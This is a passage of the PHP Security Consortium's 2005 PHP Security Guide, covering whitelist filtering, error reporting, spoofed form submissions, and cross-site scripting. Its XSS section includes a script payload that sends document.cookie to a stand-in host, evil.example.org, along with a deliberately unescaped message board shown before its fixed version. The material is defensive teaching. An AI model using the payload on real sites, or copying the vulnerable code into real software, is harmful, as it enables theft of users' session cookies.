/&gt;&lt;input type="submit"&gt;&lt;br /&gt;&lt;/form&gt;&lt;br /&gt;An array named $allowed is used to identify exactly which form variables are allowed, and this list must be identical in order&lt;br /&gt;for the form to be processed. Control flow is determined elsewhere, and process.inc is where the actual data filtering&lt;br /&gt;takes place.&lt;br /&gt;Note&lt;br /&gt;A good way to ensure that security.inc is always included at the top of every PHP script is to use the&lt;br /&gt;auto_prepend_file directive.&lt;br /&gt;Filtering Examples&lt;br /&gt;It is important to take a whitelist approach to your data filtering, and while it is impossible to give examples for every type of&lt;br /&gt;form data you may encounter, a few examples can help to illustrate a sound approach.&lt;br /&gt;The following validates an email address:&lt;br /&gt;&lt;?php&lt;br /&gt;$clean = array();&lt;br /&gt;$email_pattern = '/^[^@\s&lt;&amp;amp;&gt;]+@([-a-z0-9]+\.)+[a-z]{2,}$/i';&lt;br /&gt;if (preg_match($email_pattern, $_POST['email']))&lt;br /&gt;{&lt;br /&gt;$clean['email'] = $_POST['email'];&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;Copyright © 2005 PHP Security Consortium | Some Rights Reserved | Contact Information&lt;br /&gt;PHP Security Consortium: PHP Security Guide&lt;br /&gt;The following ensures that $_POST['color'] is red, green, or blue:&lt;br /&gt;&lt;?php&lt;br /&gt;$clean = array();&lt;br /&gt;switch ($_POST['color'])&lt;br /&gt;{&lt;br /&gt;case 'red':&lt;br /&gt;case 'green':&lt;br /&gt;case 'blue':&lt;br /&gt;$clean['color'] = $_POST['color'];&lt;br /&gt;break;&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;The following example ensures that $_POST['num'] is an integer:&lt;br /&gt;&lt;?php&lt;br /&gt;$clean = array();&lt;br /&gt;if ($_POST['num'] == strval(intval($_POST['num'])))&lt;br /&gt;{&lt;br /&gt;$clean['num'] = $_POST['num'];&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;The following example ensures that $_POST['num'] is a float:&lt;br /&gt;&lt;?php&lt;br /&gt;$clean = array();&lt;br /&gt;if ($_POST['num'] == strval(floatval($_POST['num'])))&lt;br /&gt;{&lt;br /&gt;$clean['num'] = $_POST['num'];&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;Copyright © 2005 PHP Security Consortium | Some Rights Reserved | Contact Information&lt;br /&gt;PHP Security Consortium: PHP Security Guide&lt;br /&gt;Naming Conventions&lt;br /&gt;Each of the previous examples make use of an array named $clean. This illustrates a good practice that can help&lt;br /&gt;developers identify whether data is potentially tainted. You should never make a practice of validating data and leaving it in&lt;br /&gt;$_POST or $_GET, because it is important for developers to always be suspicious of data within these superglobal arrays.&lt;br /&gt;In addition, a more liberal use of $clean can allow you to consider everything else to be tainted, and this more closely&lt;br /&gt;resembles a whitelist approach and therefore offers an increased level of security.&lt;br /&gt;If you only store data in $clean after it has been validated, the only risk in a failure to validate something is that you might&lt;br /&gt;reference an array element that doesn't exist rather than potentially tainted data.&lt;br /&gt;Timing&lt;br /&gt;Once a PHP script begins processing, the entire HTTP request has been received. This means that the user does not have&lt;br /&gt;another opportunity to send data, and therefore no data can be injected into your script (even if register_globals is&lt;br /&gt;enabled). This is why initializing your variables is such a good practice.&lt;br /&gt;Error Reporting&lt;br /&gt;In versions of PHP prior to PHP 5, released 13 Jul 2004, error reporting is pretty simplistic. Aside from careful programming,&lt;br /&gt;it relies mostly upon a few specific PHP configuration directives:&lt;br /&gt;l error_reporting&lt;br /&gt;This directive sets the level of error reporting desired. It is strongly suggested that you set this to E_ALL for both&lt;br /&gt;development and production.&lt;br /&gt;l display_errors&lt;br /&gt;This directive determines whether errors should be displayed on the screen (included in the output). You should&lt;br /&gt;develop with this set to On, so that you can be alerted to errors during development, and you should set this to Off&lt;br /&gt;for production, so that errors are hidden from the users (and potential attackers).&lt;br /&gt;l log_errors&lt;br /&gt;This directive determines whether errors should be written to a log. While this may raise performance concerns, it is&lt;br /&gt;desirable that errors are rare. If logging errors presents a strain on the disk due to the heavy I/O, you probably have&lt;br /&gt;larger concerns than the performance of your application. You should set this directive to On in production.&lt;br /&gt;Copyright © 2005 PHP Security Consortium | Some Rights Reserved | Contact Information&lt;br /&gt;PHP Security Consortium: PHP Security Guide&lt;br /&gt;l error_log&lt;br /&gt;This directive indicates the location of the log file to which errors are written. Make sure that the web server has write&lt;br /&gt;privileges for the specified file.&lt;br /&gt;Having error_reporting set to E_ALL will help to enforce the initialization of variables, because a&lt;br /&gt;reference to an undefined variable generates a notice.&lt;br /&gt;Note&lt;br /&gt;Each of these directives can be set with ini_set(), in case you do not have access to php.ini or another&lt;br /&gt;method of setting these directives.&lt;br /&gt;A good reference on all error handling and reporting functions is in the PHP manual:&lt;br /&gt;http://www.php.net/manual/en/ref.errorfunc.php&lt;br /&gt;PHP 5 includes exception handling. For more information, see:&lt;br /&gt;http://www.php.net/manual/language.exceptions.php&lt;br /&gt;Copyright © 2005 PHP Security Consortium | Some Rights Reserved | Contact Information&lt;br /&gt;PHP Security Consortium: PHP Security Guide&lt;br /&gt;PHP Security Guide: Form Processing&lt;br /&gt;Spoofed Form Submissions&lt;br /&gt;In order to appreciate the necessity of data filtering, consider the following form located (hypothetically speaking) at http://&lt;br /&gt;example.org/form.html:&lt;br /&gt;&lt;form action="/process.php" method="POST"&gt;&lt;br /&gt;&lt;select name="color"&gt;&lt;br /&gt;&lt;option value="red"&gt;red&lt;/option&gt;&lt;br /&gt;&lt;option value="green"&gt;green&lt;/option&gt;&lt;br /&gt;&lt;option value="blue"&gt;blue&lt;/option&gt;&lt;br /&gt;&lt;/select&gt;&lt;br /&gt;&lt;input type="submit"&gt;&lt;br /&gt;&lt;/form&gt;&lt;br /&gt;Imagine a potential attacker who saves this HTML and modifies it as follows:&lt;br /&gt;&lt;form action="http://example.org/process.php" method="POST"&gt;&lt;br /&gt;&lt;input type="text" name="color"&gt;&lt;br /&gt;&lt;input type="submit"&gt;&lt;br /&gt;&lt;/form&gt;&lt;br /&gt;This new form can now be located anywhere (a web server is not even necessary, since it only needs to be readable by a&lt;br /&gt;web browser), and the form can be manipulated as desired. The absolute URL used in the action attribute causes the POST&lt;br /&gt;request to be sent to the same place.&lt;br /&gt;This makes it very easy to eliminate any client-side restrictions, whether HTML form restrictions or client-side scripts intended&lt;br /&gt;to perform some rudimentary data filtering. In this particular example, $_POST['color'] is not necessarily red, green, or&lt;br /&gt;blue. With a very simple procedure, any user can create a convenient form that can be used to submit any data to the URL&lt;br /&gt;that processes the form.&lt;br /&gt;Spoofed HTTP Requests&lt;br /&gt;A more powerful, although less convenient approach is to spoof an HTTP request. In the example form just discussed, where&lt;br /&gt;the user chooses a color, the resulting HTTP request looks like the following (assuming a choice of red):&lt;br /&gt;POST /process.php HTTP/1.1&lt;br /&gt;Host: example.org&lt;br /&gt;Copyright © 2005 PHP Security Consortium | Some Rights Reserved | Contact Information&lt;br /&gt;PHP Security Consortium: PHP Security Guide&lt;br /&gt;Content-Type: application/x-www-form-urlencoded&lt;br /&gt;Content-Length: 9&lt;br /&gt;color=red&lt;br /&gt;The telnet utility can be used to perform some ad hoc testing. The following example makes a simple GET request for&lt;br /&gt;http://www.php.net/:&lt;br /&gt;$ telnet www.php.net 80&lt;br /&gt;Trying 64.246.30.37...&lt;br /&gt;Connected to rs1.php.net.&lt;br /&gt;Escape character is '^]'.&lt;br /&gt;GET / HTTP/1.1&lt;br /&gt;Host: www.php.net&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Wed, 21 May 2004 12:34:56 GMT&lt;br /&gt;Server: Apache/1.3.26 (Unix) mod_gzip/1.3.26.1a PHP/4.3.3-dev&lt;br /&gt;X-Powered-By: PHP/4.3.3-dev&lt;br /&gt;Last-Modified: Wed, 21 May 2004 12:34:56 GMT&lt;br /&gt;Content-language: en&lt;br /&gt;Set-Cookie: COUNTRY=USA%2C12.34.56.78; expires=Wed,28-May-04 12:34:56 GMT; path=/; domain=.php.net&lt;br /&gt;Connection: close&lt;br /&gt;Transfer-Encoding: chunked&lt;br /&gt;Content-Type: text/html;charset=ISO-8859-1&lt;br /&gt;2083&lt;br /&gt;&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01Transitional//EN"&gt;&lt;br /&gt;...&lt;br /&gt;Of course, you can write your own client instead of manually entering requests with telnet. The following example shows&lt;br /&gt;how to perform the same request using PHP:&lt;br /&gt;&lt;?php&lt;br /&gt;$http_response = '';&lt;br /&gt;$fp = fsockopen('www.php.net', 80);&lt;br /&gt;fputs($fp, "GET / HTTP/1.1\r\n");&lt;br /&gt;fputs($fp, "Host: www.php.net\r\n\r\n");&lt;br /&gt;while (!feof($fp))&lt;br /&gt;{&lt;br /&gt;$http_response .= fgets($fp, 128);&lt;br /&gt;Copyright © 2005 PHP Security Consortium | Some Rights Reserved | Contact Information&lt;br /&gt;PHP Security Consortium: PHP Security Guide&lt;br /&gt;}&lt;br /&gt;fclose($fp);&lt;br /&gt;echo nl2br(htmlentities($http_response));&lt;br /&gt;?&gt;&lt;br /&gt;Sending your own HTTP requests gives you complete flexibility, and this demonstrates why server-side data filtering is so&lt;br /&gt;essential. Without it, you have no assurances about any data that originates from any external source.&lt;br /&gt;Cross-Site Scripting&lt;br /&gt;The media has helped make cross-site scripting (XSS) a familiar term, and the attention is deserved. It is one of the most&lt;br /&gt;common security vulnerabilities in web applications, and many popular open source PHP applications suffer from constant&lt;br /&gt;XSS vulnerabilities.&lt;br /&gt;XSS attacks have the following characteristics:&lt;br /&gt;l Exploit the trust a user has for a particular site.&lt;br /&gt;Users don't necessarily have a high level of trust for any web site, but the browser does. For example, when the&lt;br /&gt;browser sends cookies in a request, it is trusting the web site. Users may also have different browsing habits or even&lt;br /&gt;different levels of security defined in their browser depending on which site they are visiting.&lt;br /&gt;l Generally involve web sites that display external data.&lt;br /&gt;Applications at a heightened risk include forums, web mail clients, and anything that displays syndicated content&lt;br /&gt;(such as RSS feeds).&lt;br /&gt;l Inject content of the attacker's choosing.&lt;br /&gt;When external data is not properly filtered, you might display content of the attacker's choosing. This is just as&lt;br /&gt;dangerous as letting the attacker edit your source on the server.&lt;br /&gt;How can this happen? If you display content that comes from any external source without properly filtering it, you are&lt;br /&gt;vulnerable to XSS. Foreign data isn't limited to data that comes from the client. It also means email displayed in a web mail&lt;br /&gt;client, a banner advertisement, a syndicated blog, and the like. Any information that is not already in the code comes from an&lt;br /&gt;external source, and this generally means that most data is external data.&lt;br /&gt;Consider the following example of a simplistic message board:&lt;br /&gt;Copyright © 2005 PHP Security Consortium | Some Rights Reserved | Contact Information&lt;br /&gt;PHP Security Consortium: PHP Security Guide&lt;br /&gt;&lt;form&gt;&lt;br /&gt;&lt;input type="text" name="message"&gt;&lt;br /&gt;&lt;br /&gt;&lt;input type="submit"&gt;&lt;br /&gt;&lt;/form&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;if (isset($_GET['message']))&lt;br /&gt;{&lt;br /&gt;$fp = fopen('./messages.txt', 'a');&lt;br /&gt;fwrite($fp, "{$_GET['message']}&lt;br /&gt;");&lt;br /&gt;fclose($fp);&lt;br /&gt;}&lt;br /&gt;readfile('./messages.txt');&lt;br /&gt;?&gt;&lt;br /&gt;This message board appends &lt;br /&gt; to whatever the user enters, appends this to a file, then displays the current contents&lt;br /&gt;of the file.&lt;br /&gt;Imagine if a user enters the following message:&lt;br /&gt;&lt;script&gt;&lt;br /&gt;document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie&lt;br /&gt;&lt;/script&gt;&lt;br /&gt;The next user who visits this message board with JavaScript enabled is redirected to evil.example.org, and any cookies&lt;br /&gt;associated with the current site are included in the query string of the URL.&lt;br /&gt;Of course, a real attacker wouldn't be limited by my lack of creativity or JavaScript expertise. Feel free to suggest better&lt;br /&gt;(more malicious?) examples.&lt;br /&gt;What can you do? XSS is actually very easy to defend against. Where things get difficult is when you want to allow some&lt;br /&gt;HTML or client-side scripts to be provided by external sources (such as other users) and ultimately displayed, but even these&lt;br /&gt;situations aren't terribly difficult to handle. The following best practices can mitigate the risk of XSS:&lt;br /&gt;l Filter all external data.&lt;br /&gt;As mentioned earlier, data filtering is the most important practice you can adopt. By validating all external data as it&lt;br /&gt;enters and exits your application, you will mitigate a majority of XSS concerns.&lt;br /&gt;Copyright © 2005 PHP Security Consortium | Some Rights Reserved | Contact Information&lt;br /&gt;PHP Security Consortium: PHP Security Guide&lt;br /&gt;l Use existing functions.&lt;br /&gt;Let PHP help with your filtering logic. Functions like htmlentities(), strip_tags(), and utf8_decode() can&lt;br /&gt;be useful. Try to avoid reproducing something that a PHP function already does. Not only is the PHP function much&lt;br /&gt;faster, but it is also more tested and less likely to contain errors that yield vulnerabilities.&lt;br /&gt;l Use a whitelist approach.&lt;br /&gt;Assume data is invalid until it can be proven valid. This involves verifying the length and also ensuring that only valid&lt;br /&gt;characters are allowed. For example, if the user is supplying a last name, you might begin by only allowing alphabetic&lt;br /&gt;characters and spaces. Err on the side of caution. While the names O'Reilly and Berners-Lee will be considered&lt;br /&gt;invalid, this is easily fixed by adding two more characters to the whitelist. It is better to deny valid data than to accept&lt;br /&gt;malicious data.&lt;br /&gt;l Use a strict naming convention.&lt;br /&gt;As mentioned earlier, a naming convention can help developers easily distinguish between filtered and unfiltered&lt;br /&gt;data. It is important to make things as easy and clear for developers as possible. A lack of clarity yields confusion,&lt;br /&gt;and this breeds vulnerabilities.&lt;br /&gt;A much safer version of the simple message board mentioned earlier is as follows:&lt;br /&gt;&lt;form&gt;&lt;br /&gt;&lt;input type="text" name="message"&gt;&lt;br /&gt;&lt;br /&gt;&lt;input type="submit"&gt;&lt;br /&gt;&lt;/form&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;if (isset($_GET['message']))&lt;br /&gt;{&lt;br /&gt;$message = htmlentities($_GET['message']);&lt;br /&gt;$fp = fopen('./messages.txt', 'a');&lt;br /&gt;fwrite($fp, "$message&lt;br /&gt;");&lt;br /&gt;fclose($fp);&lt;br /&gt;}&lt;br /&gt;readfile('./messages.txt');&lt;br /&gt;?&gt;&lt;br /&gt;With the simple addition of htmlentities(), the message board is now much safer. It should not be considered&lt;br /&gt;Copyright © 2005 PHP Security Consortium | Some Rights Reserved | Contact Information&lt;br /&gt;PHP Security Consortium: PHP Security Guide&lt;br /&gt;completely secure, but this is probably the easiest step you can take to provide an adequate level of protection. Of course, it&lt;br /&gt;is highly recommended that you follow all of the best practices that have been discussed.&lt;br /&gt;Cross-Site Request Forgeries&lt;br /&gt;Despite the similarities in name, cross
